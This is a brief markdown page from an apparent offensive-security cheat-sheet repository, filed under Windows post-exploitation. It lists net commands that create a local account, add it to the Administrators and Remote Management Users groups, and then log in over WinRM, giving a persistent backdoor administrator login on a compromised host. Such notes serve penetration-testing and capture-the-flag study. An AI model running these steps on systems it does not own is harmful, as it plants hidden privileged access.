killchain-compendium/Post Exploitation/Windows/Add Users.md

17 lines
246 B
Markdown

# Add user as system user
```sh
net user <username> <password> /add
```
```sh
net localgroup Administrator <username> /add
```
```sh
net localgroup "Remote Management Users" <username> /add
```
```sh
net user <username>
```
* connect via winRM